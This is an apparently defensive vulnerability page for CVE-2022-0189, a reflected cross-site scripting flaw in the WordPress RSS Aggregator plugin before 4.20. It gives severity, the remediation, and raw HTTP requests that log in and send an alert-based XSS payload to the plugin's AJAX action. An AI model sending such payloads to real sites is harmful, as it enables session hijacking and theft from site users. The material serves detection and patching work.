🔙 목록으로 돌아가기

CVE-2022-0189: WordPress RSS Aggregator < 4.20 - Authenticated Cross-Site Scripting

TitleWordPress RSS Aggregator < 4.20 - Authenticated Cross-Site Scripting
AuthorDhiyaneshDK
SeverityMedium
ImpactAn attacker with authenticated access can inject malicious scripts into the website, potentially leading to session hijacking, defacement, or theft of sensitive information.
RemediationUpdate WordPress RSS Aggregator plugin to version 4.20 or later to mitigate the vulnerability.
CVSS Score6.1
EPSS Score0.02778
CVE IDCVE-2022-0189
CWE IDCWE-79
Tags cve cve2022 wpscan wordpress xss wp-plugin authenticated wprssaggregator vuln

🔍 Vulnerability Description

WordPress RSS Aggregator < 4.20 is susceptible to cross-site scripting. The plugin does not sanitize and escape the id parameter in the wprss_fetch_items_row_action AJAX action before outputting it back in the response, leading to reflected cross-site scripting.

🌐 HTTP Request

POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
Connection: close
Content-Length: 51
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_test_cookie=WP%20Cookie%20check
Origin: /
Accept-Encoding: gzip

log=fSkALj&pwd=YMSUnl&wp-submit=Log+In&testcookie=1
POST /wp-admin/admin-ajax.php?action=wprss_fetch_items_row_action HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (ZZ; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Connection: close
Content-Length: 69
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_test_cookie=WP%20Cookie%20check
Accept-Encoding: gzip

id=%3Chtml%3E%3Cimg+src+onerror%3Dalert%28%60document.domain%60%29%3E

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-0189.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-0189.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A